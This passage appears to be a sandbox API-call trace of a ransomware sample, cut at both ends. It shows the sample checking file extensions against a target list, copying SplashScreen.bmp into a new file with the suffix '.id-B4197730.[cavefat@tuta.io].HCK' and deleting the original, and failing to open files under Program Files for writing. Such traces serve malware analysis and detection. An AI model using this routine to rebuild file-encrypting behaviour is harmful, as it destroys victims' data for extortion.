5 [0149.831] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0149.831] lstrlenW (lpString=".ppt") returned 4 [0149.831] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".zip") returned 4 [0149.831] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0149.831] lstrlenW (lpString=".rar") returned 4 [0149.831] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".bz2") returned 4 [0149.831] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".7z") returned 3 [0149.831] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".dbf") returned 4 [0149.831] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".1cd") returned 4 [0149.831] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".jpg") returned 4 [0149.831] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".doc") returned 4 [0149.831] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".docx") returned 5 [0149.831] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0149.831] lstrlenW (lpString=".pdf") returned 4 [0149.831] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".xls") returned 4 [0149.831] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".xlsx") returned 5 [0149.831] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0149.831] lstrlenW (lpString=".ppt") returned 4 [0149.831] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".zip") returned 4 [0149.832] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0149.832] lstrlenW (lpString=".rar") returned 4 [0149.832] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0149.832] lstrlenW (lpString=".bz2") returned 4 [0149.832] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0149.832] lstrlenW (lpString=".7z") returned 3 [0149.832] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0149.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.832] lstrlenW (lpString=".dbf") returned 4 [0149.832] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0149.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.832] lstrlenW (lpString=".1cd") returned 4 [0149.832] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0149.832] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.832] lstrlenW (lpString=".jpg") returned 4 [0149.832] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0149.832] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0149.832] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0149.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.832] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=41080) returned 1 [0149.832] CloseHandle (hObject=0x2ec) returned 1 [0149.832] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0149.832] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.833] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.833] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.833] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.833] GetLastError () returned 0x0 [0149.833] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xa078, lpOverlapped=0x0) returned 1 [0150.254] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xa080, lpOverlapped=0x0) returned 1 [0150.255] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.255] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf4, lpOverlapped=0x0) returned 1 [0150.255] SetEndOfFile (hFile=0x30c) returned 1 [0150.255] CloseHandle (hObject=0x30c) returned 1 [0150.257] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.257] SetEndOfFile (hFile=0x2ec) returned 1 [0150.257] CloseHandle (hObject=0x2ec) returned 1 [0150.258] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0150.258] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0150.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.258] lstrlenW (lpString=".doc") returned 4 [0150.258] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0150.258] lstrlenW (lpString=".docx") returned 5 [0150.258] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0150.258] lstrlenW (lpString=".pdf") returned 4 [0150.258] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0150.258] lstrlenW (lpString=".xls") returned 4 [0150.258] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0150.258] lstrlenW (lpString=".xlsx") returned 5 [0150.258] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0150.258] lstrlenW (lpString=".ppt") returned 4 [0150.258] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0150.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.258] lstrlenW (lpString=".zip") returned 4 [0150.258] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0150.258] lstrlenW (lpString=".rar") returned 4 [0150.258] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".bz2") returned 4 [0150.259] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".7z") returned 3 [0150.259] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".dbf") returned 4 [0150.259] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".1cd") returned 4 [0150.259] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".jpg") returned 4 [0150.259] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".doc") returned 4 [0150.259] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".docx") returned 5 [0150.259] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0150.259] lstrlenW (lpString=".pdf") returned 4 [0150.259] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".xls") returned 4 [0150.259] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".xlsx") returned 5 [0150.259] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0150.259] lstrlenW (lpString=".ppt") returned 4 [0150.259] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".zip") returned 4 [0150.259] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".rar") returned 4 [0150.259] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".bz2") returned 4 [0150.259] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString=".7z") returned 3 [0150.259] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".dbf") returned 4 [0150.259] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0150.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.259] lstrlenW (lpString=".1cd") returned 4 [0150.259] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0150.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0150.260] lstrlenW (lpString=".jpg") returned 4 [0150.260] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0150.260] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0150.260] lstrlenW (lpString="Content.xml") returned 11 [0150.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.261] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=27045) returned 1 [0150.261] CloseHandle (hObject=0x2f4) returned 1 [0150.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0150.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".doc") returned 4 [0150.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString=".docx") returned 5 [0150.262] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0150.262] lstrlenW (lpString=".pdf") returned 4 [0150.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString=".xls") returned 4 [0150.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString=".xlsx") returned 5 [0150.262] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0150.262] lstrlenW (lpString=".ppt") returned 4 [0150.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".zip") returned 4 [0150.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.262] lstrlenW (lpString=".rar") returned 4 [0150.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString=".bz2") returned 4 [0150.262] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString=".7z") returned 3 [0150.262] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".dbf") returned 4 [0150.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".1cd") returned 4 [0150.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".jpg") returned 4 [0150.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.262] lstrlenW (lpString=".doc") returned 4 [0150.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString=".docx") returned 5 [0150.263] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0150.263] lstrlenW (lpString=".pdf") returned 4 [0150.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString=".xls") returned 4 [0150.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString=".xlsx") returned 5 [0150.263] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0150.263] lstrlenW (lpString=".ppt") returned 4 [0150.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.263] lstrlenW (lpString=".zip") returned 4 [0150.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.263] lstrlenW (lpString=".rar") returned 4 [0150.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString=".bz2") returned 4 [0150.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString=".7z") returned 3 [0150.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.263] lstrlenW (lpString=".dbf") returned 4 [0150.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.263] lstrlenW (lpString=".1cd") returned 4 [0150.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0150.263] lstrlenW (lpString=".jpg") returned 4 [0150.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.263] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0150.263] lstrlenW (lpString="boxed-correct.avi") returned 17 [0150.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0150.264] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=111320) returned 1 [0150.264] CloseHandle (hObject=0x2ec) returned 1 [0150.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0150.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString=".doc") returned 4 [0150.265] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".docx") returned 5 [0150.265] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0150.265] lstrlenW (lpString=".pdf") returned 4 [0150.265] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".xls") returned 4 [0150.265] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".xlsx") returned 5 [0150.265] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0150.265] lstrlenW (lpString=".ppt") returned 4 [0150.265] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString=".zip") returned 4 [0150.265] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".rar") returned 4 [0150.265] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".bz2") returned 4 [0150.265] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString=".7z") returned 3 [0150.265] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString=".dbf") returned 4 [0150.265] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString=".1cd") returned 4 [0150.265] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString=".jpg") returned 4 [0150.265] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.266] lstrlenW (lpString=".doc") returned 4 [0150.266] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".docx") returned 5 [0150.266] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0150.266] lstrlenW (lpString=".pdf") returned 4 [0150.266] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".xls") returned 4 [0150.266] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".xlsx") returned 5 [0150.266] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0150.266] lstrlenW (lpString=".ppt") returned 4 [0150.266] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.266] lstrlenW (lpString=".zip") returned 4 [0150.266] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".rar") returned 4 [0150.266] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".bz2") returned 4 [0150.266] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString=".7z") returned 3 [0150.266] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.266] lstrlenW (lpString=".dbf") returned 4 [0150.266] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.266] lstrlenW (lpString=".1cd") returned 4 [0150.266] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0150.266] lstrlenW (lpString=".jpg") returned 4 [0150.266] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.266] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0150.266] lstrlenW (lpString="boxed-delete.avi") returned 16 [0150.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0150.266] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=48936) returned 1 [0150.266] CloseHandle (hObject=0x2ec) returned 1 [0150.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0150.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString=".doc") returned 4 [0150.267] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".docx") returned 5 [0150.267] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0150.267] lstrlenW (lpString=".pdf") returned 4 [0150.267] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".xls") returned 4 [0150.267] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".xlsx") returned 5 [0150.267] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0150.267] lstrlenW (lpString=".ppt") returned 4 [0150.267] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString=".zip") returned 4 [0150.267] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".rar") returned 4 [0150.267] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".bz2") returned 4 [0150.267] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString=".7z") returned 3 [0150.267] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString=".dbf") returned 4 [0150.267] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString=".1cd") returned 4 [0150.267] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.267] lstrlenW (lpString=".jpg") returned 4 [0150.268] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 